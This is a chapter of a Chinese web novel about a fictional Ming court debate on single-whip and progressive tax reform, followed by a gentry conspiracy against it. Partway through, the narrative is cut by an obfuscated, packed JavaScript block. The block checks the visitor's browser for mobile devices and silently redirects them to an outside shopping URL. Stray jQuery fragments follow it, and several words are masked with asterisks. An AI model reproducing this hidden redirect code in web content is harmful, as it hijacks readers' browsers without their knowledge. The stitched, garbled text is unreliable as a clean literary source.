道历八年五月初六，大朝会。


    太和殿前的汉白玉台阶被晨露打湿，泛着冷白的光。


    文武百官分列两侧，从殿内一直排到丹陛之下，鸦雀无声。


    今天谁都知道——要议税了。


    辰时正，净鞭三响。


    小皇帝朱载重登上御座，十一岁的孩子穿着明黄龙袍，腰板挺得笔直。


    苏惟瑾站在御座左下首，一身绯色麒麟补服，手里捧着本厚厚的奏疏。


    “陛下，”


    首辅费宏出列启奏。


    “今日朝会，议靖海王所呈《税制革新疏》。”


    “准议。”


    朱载重脆生生道，小手在龙椅扶手上敲了敲——这是跟苏惟瑾学的，说这样显得沉稳。


    苏惟瑾出列，展开奏疏，声音清朗。


    “臣请改税制。”


    “其一，将田赋、丁银、徭役等项，合并折银征收，谓之‘一条鞭法’，简化流程，杜绝中间盘剥。”


    这话一出，底下嗡嗡声起。


    “一条鞭法”不是新鲜词，嘉靖初年就有人提过，但始终没推行开。


    原因很简单——断了多少胥吏、乡绅的财路？


    户部右侍郎李春芳出列，他是清丈的受益者，自然支持。


    “臣附议！”


    “清丈之后，田亩既明，正宜简化税目。”


    “折银征收，百姓不必再为完粮奔波，官府也省了征收之劳。”


    “臣反对！”


    都察院左副都御史周延儒站了出来，这位老臣是南直隶宜兴人，背后站着江南士绅集团。


    “祖制自有道理！”


    “田赋纳粮，丁银纳银，徭役出力——各归其道，岂可混为一谈？”


    “折银征收，市面银价若有波动，百姓岂不遭殃？”


    苏惟瑾笑了。


    “周大人，您说市面银价波动——那请问，如今百姓完粮，是直接交到官府，还是交给粮长、里长？”


    周延儒一愣。


    “交给粮长里长，他们再拿去换银，这中间差价谁吃了？”


    苏惟瑾不等他回答，自顾自说。


    “去年浙江某县，粮长收粮时压价三成，换银时又抬价两成，一进一出，百姓多缴五成！”


    “这叫‘祖制’？”


    周延儒脸色涨红。


    “那……那是胥吏**，整顿便是，何须改制？”


    “治标不治本。”


    苏惟瑾摇头，转入正题。


    “其二，田赋按产量分等，实行‘累进税制’。”


    他顿了顿，清晰地说出那几个石破天惊的字。


    “亩产一石以下者，税三十取一；一石至两石，二十五取一；两石至三石，二十取一；三石以上，十五取一。”


    “轰——！”


    太和殿炸了。


    “荒唐！”


    “荒唐！”


    周延儒胡子都翘起来了。


    “田赋自古均摊，岂有产量越高、税率越高的道理？”


    “这是劫富济贫！”


    “是违背祖制！”


    几个江南籍的官员跟着嚷嚷。


    “对！”


    “这是要逼死良善富户！”


    苏惟瑾等他们吵够了，才缓缓开口。


    “周大人说‘劫富济贫’——那好，本宫问你，何为富？何为贫？”


    他走到殿中，目光扫过众臣。


    “占田千亩，佃户数百，仓廪堆满陈粮，这叫富。”


    “家中薄田三亩，老少七口，青黄不接时要去借**，这叫贫。”


    “富者田连阡陌，贫者无立锥之地。”


    “若赋税依旧按亩均摊——亩税三升，富户缴得起，贫户就得卖儿鬻女。”


    “这公平吗？”


    周延儒梗着脖子。


    “那……那自古如此！”


    “自古如此，便对吗？”


    苏惟瑾冷笑。


    “洪武爷《大诰》有言：‘藏富于民’。”


    “民者，天下百姓也，非独富户。”


    “富户多缴些税，贫户少缴些税，让百姓都能活——这才是真正的‘藏富于民’！”


    他转身从书吏手中接过一本册子。


    “这是清丈半年的数据。”


    “南直隶、浙江、湖广三省，占人口不到一成的富户，占有近四成土地。”


    “可他们承担的赋税呢？”


    他翻开册子，念道。


    “不到两成。”


    满殿死寂。


    “为何？”


    苏惟瑾合上册子。


    “因为隐田、诡寄、飞洒！”


    “富户的田，挂在功名名下免税；贫户的田，被‘飞洒’上虚额多缴税！”


    “这数据摆在眼前，诸位还要说‘自古如此’吗？”


    周延儒张了张嘴，说不出话。


    几个江南籍官员也低头了——数据不会骗人，清丈的结果他们心里有数。


    “其三，”


    苏惟瑾趁热打铁。


    “扩大商税征收范围。”


    “茶叶、丝绸、瓷器，按值百抽五；南洋香料、西洋钟表、玻璃器等奢侈品，按值百抽十五。”


    这话又引起一阵骚动。


    “王爷！”


    一个户部主事忍不住道。


    “商税本已不轻，再加征恐伤商贾之心……”


    “伤谁的心？”


    苏惟瑾反问。


    “是伤那些贩卖南洋香料、一转手赚十倍的巨贾之心，还是伤街边卖炊饼的小贩之心？”


    他走到那主事面前。


    “张主事，您老家是泉州吧？”


    “去年泉州港进口香料三十万斤，利润多少您知道吗？至少五十万两！”


    “抽十五的税，不过七万五千两——他们赚四十二万五千两，这叫‘伤商贾之心’？”


    张主事脸红了。


    “朝廷用这税银修路、治河、办学堂、养军队，保的是谁的海疆？保的是他们的商路！”


    苏惟瑾声音提高。


    “没有水师剿灭海盗，他们的香料船早被劫了！”


    “没有边军镇守九边，他们的货能安稳运到草原？”


    他转身面向御座，躬身。


    “陛下，税制改革，非为与民争利，实为均平赋役，藏富于民。”


    “试行之初，可限于南北直隶，若有成效，再推全国。”


    小皇帝朱载重听得眼睛发亮。


    这些日子苏惟瑾给他讲过“累进税”的道理，用摆棋子的方式演示——十个棋子，富人拿七个，穷人拿三个。


    均摊税赋，穷人那份就活不下去；富人略多缴些，穷人就能活。


    “朕觉得王先生说得有理。”


    孩子的声音在殿中回荡。


    “便依王先生所议，先在南北直隶试行。”


    “费先生——”


    他看向费宏。


    “拟旨吧。”


    “臣遵旨。”


    费宏躬身。


    周延儒等人还想说什么，可看看小皇帝坚定的眼神，再看看苏惟瑾手里那本数据册子，终究没敢再开口。


    退朝时，已是午时。


    苏惟瑾走出太和殿，几个年轻官员围了上来。


    “王爷今日一席话，振聋发聩！”


    说话的是新科进士张溥，才二十出头，在户部观政。


    “下官在江南时，亲眼见过佃户被‘飞洒’田赋，一年辛苦全交了税……”


    “慢慢来。”


    苏惟瑾拍拍他肩膀。


    “税制改了，执行才是关键。”


    “你们在户部，要多用心。”


    正说着，周延儒从后面走来，脸色阴沉。


    经过苏惟瑾身边时，忽然停下，压低声音。


    “靖海王，您这是要与天下士绅为敌啊。”


    苏惟瑾笑了。


    “周大人，士绅若是‘天下’，那百姓是什么？草芥吗？”


    周延儒一噎，甩袖而去。


    回到文渊阁，费宏已经在等他了。


    “王爷，”


    老首辅忧心忡忡。


    “累进税制……步子是不是迈得太大了？”


    “江南那些士绅，怕是不会善罢甘休。”


    “我知道。”


    苏惟瑾坐下，喝了口茶。


    “可费老，您说这大明，最大的病根在哪？”


    费宏沉吟。


    “吏治？边患？财政？”


    “都是表象。”


    苏惟瑾放下茶盏。


    “根本是土地兼并，贫富悬殊。”


    “富者愈富，穷者愈穷，终有一日会天崩地裂。”


    “累进税制，就是要稍稍扳回一点——不需要均贫富，只需要让最穷的人能活下去。”


    他顿了顿。


    “至于士绅反对……清丈时他们已经反对过了。”


    “再反对，还能反到哪去？**吗？”


    费宏苦笑。


    “明着**不敢，暗地里的手段……王爷，鄱阳湖那七名学生，可是到现在还没找到。”


    苏惟瑾眼神一冷。


    是的，江西督导队遇“


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17175512|186215||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    山洪”，七名格物学堂的学生失踪。


    活不见人，死不见尸。


    “查得怎么样了？”


    他问。


    “锦衣卫去了三拨人，”


    费宏低声道。


    “现场有打斗痕迹，不像是山洪。”


    “而且……在附近找到了这个。”


    他从袖中掏出个小布包，打开——里头是枚铜钱，正面是“嘉靖通宝”，背面……刻着朵小小的金雀花。


    苏惟瑾接过铜钱，在指尖摩挲。


    金雀花。


    又是金雀花。


    “他们的手，伸得真长。”


    他喃喃道。


    “王爷，”


    费宏声音更低了。


    “老臣听说，江南一些士绅，最近和几个西洋传教士走得很近。”


    “其中有个叫利玛窦的，病好了之后，四处拜访名流……”


    苏惟瑾眼睛眯了起来。


    利玛窦。


    金雀花。


    士绅反对税改。


    这些碎片，似乎能拼出点什么。


    “费老，”


    他忽然道。


    “税制推行的旨意下去后，您猜最先跳出来反对的，会是哪里？”


    费宏想了想。


    “南直隶？浙江？”


    “不，”


    苏惟瑾摇头。


    “是苏州。”


    五月底，圣旨抵达苏州。


    苏州知府王世贞接了旨，眉头皱成了疙瘩。


    这位嘉靖二十六年的进士，文才了得，是“后七子”之一，可**嗅觉差了些。


    他看着圣旨上“累进税制”四个字，只觉得头大如斗。


    果然，第二天，苏州的名流士绅就齐聚拙政园。


    还是那间密室，还是那几个人。


    致仕的钱侍郎坐在主位，脸色铁青。


    “姓苏的是真要掘咱们的根啊！”


    一个绸缎商拍案而起。


    “清丈完了不算，还要累进征税！”


    “我那五百亩上等水田，亩产三石半，得按十五取一缴税——比以前多缴三成！”


    “我那八十亩桑田也一样……”


    另一个士绅苦笑。


    “种桑养蚕本就利薄，这么一加，今年怕是要亏。”


    钱侍郎缓缓开口。


    “明着抗旨不行。”


    “但……可以让百姓‘自愿’反对。”


    众人一愣。


    “累进税制，不是按产量分等吗？”


    钱侍郎阴恻恻道。


    “若是百姓‘自愿’少报产量呢？”


    “若是丈田时‘自愿’把上田报成中田呢？”


    他顿了顿。


    “还有，一条鞭法要折银征收。”


    “咱们可以……让市面的银价，‘稍微’波动一下。”


    众人眼睛亮了。


    是啊，只要让百姓觉得新税制更吃亏，闹起来，朝廷就得妥协。


    “另外，”


    钱侍郎补充。


    “那个利玛窦神父，不是对咱们的田亩数据很感兴趣吗？”


    “可以‘借’给他看看。”


    “洋人若能在他们的报纸上写文章，说大明税制苛暴……”


    “妙啊！”


    众人抚掌。


    窗外的石榴花开得正艳。


    而一只灰色的信鸽，从拙政园角落的鸽笼悄然飞出，翅膀上绑着密信，朝着北方，朝着京城的方向。


    税制改革圣旨颁行，累进税制石破天惊。


    苏州士绅密谋反制，欲操纵银价、鼓动百姓、勾结洋人**反扑。


    而他们与利玛窦的接触，竟是要将大明田亩数据“借”给这个可疑的传教士！


    更蹊跷的是，六月初三，苏州城突然流传起一首童谣：“嘉靖爷，坐龙庭，一条鞭子抽百姓；富的富，穷的穷，累进税制要人命。”


    童谣传播极快，三日间传遍江南，明显有人幕后推动。


    与此同时，京城锦衣卫截获一封从苏州发往澳门的密信，破译后内容令人心惊：“数据已备，可证明新税苛暴。请速在欧洲报刊发表，制造国际**压力。”


    落款处，画着一朵含苞待放的金雀花！


    金雀花组织竟要利用国际**干涉大明内政？


    而利玛窦在其中的角色，究竟是单纯的传教士，还是……金雀花在大明的代理人？


    苏惟瑾的超频大脑高速运转——这场税制改革之争，已然从朝堂辩论、地方博弈，升级为一场横跨东西方的**战与隐秘战争！


    他该如何破局？